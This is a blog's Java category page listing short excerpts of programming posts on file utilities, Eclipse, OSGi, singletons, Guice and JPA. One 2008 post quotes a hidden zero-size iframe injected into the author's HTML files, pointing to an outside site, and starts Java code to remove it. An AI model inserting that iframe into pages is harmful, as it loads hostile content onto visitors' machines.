Java
共 20 篇文章
Delete sub folder(FileUtils)
public class FileUtils { /** Delete all specified subFolder, e.g. delete all bin directory of c:/testApp. */ public static void deleteSubFolder(String sPath, String subFoldName, boolean isRecurse) { File file = new File(sPath); File[] files = file.listFiles(); for (File f : files) { if (f.isDirecto…
2013-11-28 18:03 · Java
Eclipse dropins
You can also use an own extra dropins folder: simply add a parameter into eclipse.ini: -Dorg.eclipse.equinox.p2.reconciler.dropins.directory= /your_path/e34shared_dropin
2009-09-03 14:32 · Java
MatchFinder
public class MatchFinder { //static List<FileInfo> matchNames = new ArrayList<FileInfo>(); static List<String> nonMatchNames = new ArrayList<String>(); public static void main(String[] args) throws Exception { List<MatchInfo> matchNames = new ArrayList<MatchInfo>(); //enumerate(new File("I:/_backup…
2009-09-01 16:21 · Java
File Writer
public static void testWriter() throws FileNotFoundException { PrintWriter pw = new PrintWriter(new OutputStreamWriter(new FileOutputStream("PrintWriter.txt", false))); for (int i = 0; i < 10; i++) pw.print("Hello Mike"); pw.println(); pw.println("Yes or No"); pw.close(); }
2009-09-01 16:09 · Java
Get machine name from IP
public static void main(String[] args) throws Exception { String addr = getMachineNameFromIP("192.168.1.159"); System.out.println(addr); } static String getMachineNameFromIP(String ipAddr) { try { InetAddress i = InetAddress.getByName(ipAddr); return i.getHostName(); } catch (UnknownHostException e…
2009-09-01 16:07 · Java
Credit Card
//e.g. (20, 20), (13, 26) static void prtCreditCardBill(int billDate, int payLimit) { Calendar c = Calendar.getInstance(); int year = c.get(Calendar.YEAR); c.set(year, 0, billDate); System.out.println("Bill Date Pay Date"); System.out.println("-----------------------------"); for (int i = 0; i < 12…
2009-09-01 16:05 · Java
File Size
public static void main(String[] args) throws IOException { File file = new File("F:"); if (file.exists()) { prt("Total:", file.getTotalSpace()); prt("Usable:", file.getUsableSpace()); prt("Free:", file.getFreeSpace()); } } static void prt(String desc, long size) { double m = size / (1024 * 1024); …
2009-09-01 15:25 · Java
XMPP introduction
XMPP is Extensible Messaging and Presence Protocol (XMPP), a set of open XML technologies for presence and real-time communication developed by the Jabber open-source community in 1999. XMPP is an open, XML-based protocol for instant messaging and presence, supported by the non-profit Jabber Softwa…
2009-03-18 16:00 · Java
Singleton Sample(1)
public class Singleton { private static class SingletonHolder { static Singleton instance = new Singleton(); } public static Singleton getInstance() { return SingletonHolder.instance; } private Singleton() { } }
2009-03-10 21:41 · Java
Eclipse plug-ins:
Maven http://m2eclipse.codehaus.org/ Update site: http://m2eclipse.sonatype.org/update/ Subversion http://subclipse.tigris.org/ Update site: http://subclipse.tigris.org/update_1.4.x
2009-03-08 11:31 · Java
OSGi Note
Create OSGi environment outside Eclipse. Create folder and files: C:\equinox │ run.bat │ ├─configuration │ config.ini │ └─plugins org.eclipse.osgi.services_3.1.200.v20070605.jar org.eclipse.osgi_3.3.0.v20070530.jar OsgiHello_1.0.jar OsgiHelloTest_1.0.jar config.ini osgi.noShutdown=true osgi.bundles…
2009-01-09 01:11 · Java
OSGi Intro
Features: modularity dynamic,” Plug and Play” extensionable these features are supported by OSGI, the meaning is that you don’t need realize those features yourself, what you need do is just use it What is OSGi Dynamic Module System For Java JSR232, JSR291 Universal Middleware Best practice guide a…
2008-12-26 11:42 · Java
Unable to load default SVN client
在 Eclipse 3.4(Gandymede) 里面安装 Subclipse 时出错: Unable to load default SVN client. 解决办法: 安装时,选择下面2项: JavaHL Adapter Subclipse
2008-11-12 11:04 · Java
递归删除文件内容
今天突然发现, 很多 html 文件的末尾多了一行, <iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe> 不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它. public class FileUtils { public static void main(String[] args) throws Exception { String content = "<iframe width='0' height='0' src='http://mmm.mm…
2008-05-05 13:16 · Java
Ant task
Copy task with Ant build.xml <project name="TestApp" default="copyTest" basedir="."> <target name="copyTest"> <antcall target="copy"> <param name="source" value="C:\tmp\aaa\AcegiTest"/> <param name="target" value="F:\workspace_3.3\AcegiTest"/> </antcall> <antcall target="copy"> <param name="source"…
2008-03-22 00:55 · Java
Top Five Java Technologies to Learn in 2008
From: http://www.theserverside.com/news/thread.tss?thread_id=48270 Carlos Perez has posted his list of the top five Java-based technologies to learn in 2008. They are: • OSGi (a specification for dynamic modules for Java) • The Java Content Repository spec, first appearing in the JCP in February 20…
2008-02-15 12:42 · Java
一个 DAO 的实现方法
对 ORM 的讨论永远都没有结束... 每个人都有不同的思路, 不同的实现. 之所以引入ORM, 我认为是: 减少复杂度, 抽象出了公共的持久层. 比如把一个对象保存到数据库. 传统的 JDBC 方法, 需要insert into ...语句. 事实上, 生成这些 CRUD 的 Sql 的过程是重复的. 因此 ORM 给我们做了这些重复的工作. 解决了多个数据库的差异问题, 一旦移植到其他数据库, 转换非常方便. 不过, 如果是做企业应用, 一般不会经常换数据库, 除非是做通用的产品. ORM 还提供了一些辅助的功能, 比如缓存, 事务, 分页... 相比 JDBC, 我觉得 ORM 最方便…
2008-02-04 14:19 · Java
Java Persistence API: JPA
Java Persistence API, or JPA Java 里面已经有很多的优秀的持久化 framework 了: EJB, JDO, Hibernate, iBatis, and Toplink... Java Persistence API (JPA) 是 J2EE 5里面的一个持久化标准. 起初是作为 JSR 220 的一个部分: EJB 3.0. 为了简化 EJB entity beans 的编程。 事实上, JPA 也可以在 J2SE 环境下面使用的。 Apache OpenJPA 就是一个 JPA 的开源实现.
2008-01-19 19:32 · Java
Note on Singleton
//From Google - Bob Lee. (Jeremy Manson, Brian Goetz) public class Singleton { private static class SingletonHolder { static Singleton instance = new Singleton(); } public static Singleton getInstance() { return SingletonHolder.instance; } private Singleton() { } }
2007-11-26 10:47 · Java
Guice
Guice (from Google Bob Lee's IoC) Dependency Injection, DI Inversion of Control, IoC It's another IoC container, which like a cousin of Spring IoC. Spring uses xml, provide IoC, Aop and peripheral service;Guice uses Annotatin, each has their strongpoint, it's hard to say which one is better Just us…
2007-11-26 10:41 · Java